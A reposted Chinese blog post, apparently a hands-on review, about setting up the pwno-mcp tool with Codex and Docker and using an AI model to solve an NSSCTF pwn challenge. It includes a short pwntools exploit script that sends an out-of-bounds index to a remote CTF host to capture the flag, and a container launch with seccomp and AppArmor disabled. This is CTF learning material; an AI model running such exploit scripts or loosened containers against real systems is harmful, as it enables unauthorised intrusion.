文章总结: 本文介绍了pwno-mcp工具的安装与使用体验,包括在Codex中配置MCP服务、通过Docker启动容器并挂载本地目录,以及利用该工具辅助解决CTFpwn题目的过程。文章提供了详细的步骤和示例脚本,展示了pwno-mcp在自动化漏洞利用中的实际应用。 综合评分: 75 文章分类: CTF,二进制安全,安全工具,实战经验,渗透测试
pwno-mcp体验
原创
Helloleader Helloleader
渝安服
2026年7月10日 10:40 重庆
在小说阅读器读本章
去阅读
pwno-mcp体验
1.安装环境
前提环境
需要docker环境,和codex环境。
docker安装就不说了,简单说下codex
先安装codex,我这里是intel的mac版本,就直接下载安装包:
https://github.com/openai/codex/releases/
将包里面的codex移动到任意目录后,
sudomv codex /usr/local/bin
然后运行codex登陆后就行,其他版本参考https://m.runoob.com/codex/codex-install.html
pwno-mcp说明:https://docs.pwno.io/quickstart
在 Codex 中添加 MCP 配置
编辑 ~/.codex/config.toml,追加下面这段:
[mcp_servers.pwno-mcp]url = "http://127.0.0.1:5500/mcp"
这一步只是告诉 Codex 去哪里连接 pwno-mcp。真正的服务还需要通过 Docker 启动。
可以用下面的命令检查配置是否已被识别:
codex mcp list
如果配置正确,输出里会出现:
pwno-mcp http://127.0.0.1:5500/mcp
2.启动docker容器
所有pwn的操作都在docker容器里面,然后mcp再传给gpt。
官方文档建议使用 Docker 启动,并保留所需能力与安全参数。实测可用命令如下:
docker run -d --name pwno-mcp -p 127.0.0.1:5500:5500 --cap-add=SYS_PTRACE --cap-add=SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined -v "/Users/leader/Desktop/pwno-mcp:/workspace" ghcr.io/pwno-io/pwno-mcp:latest
参数说明
–name pwno-mcp:固定容器名称,便于后续查看日志和重启。
-p 127.0.0.1:5500:5500:把本地 5500 端口映射到容器。
–cap-add=SYS_PTRACE、–cap-add=SYS_ADMIN:保留调试和分析所需能力。
--security-opt seccomp=unconfined、--security-opt apparmor=unconfined:保持和官方 Quick Start 一致。
-v “宿主机目录:/workspace”`:把本地目录挂载到容器内。
检查容器状态
docker ps --filter name=pwno-mcp
3.解题
例题:
https://www.nssctf.cn/problem/2330
对话过程:
参考https://docs.pwno.io/quickstart内容,帮我检查是否安装pwno-mcp成功
最终脚本:
#!/usr/bin/env python3from pwn import *import re
context.binary = ELF("/workspace/service2", checksec=False)context.arch = "amd64"context.log_level = "info"
HOST = args.HOST or "node4.anna.nssctf.cn"PORT = int(args.PORT or 20347)
INDEX = b"-14"VALUE = b"0"
def start(): if args.LOCAL: return process(context.binary.path) return remote(HOST, PORT)
def exploit(): io = start()
# The program only needs two integers; avoid waiting on prompts in case the # remote wrapper does not flush stdout. io.sendline(INDEX) io.sendline(VALUE)
data = io.recvall(timeout=3) if data: print(data.decode("latin1", "ignore"))
match = re.search(rb"[A-Za-z0-9_]+\{[^}\n]+\}", data) if match: log.success(f"flag: {match.group().decode()}") else: log.warning("no output received from target")
io.close()
if __name__ == "__main__": exploit()
题目如果比较卡,脚本会出错可能,因为我自己试过nc连,没有第一时间返回内容。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:渝安服 Helloleader Helloleader《pwno-mcp体验》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论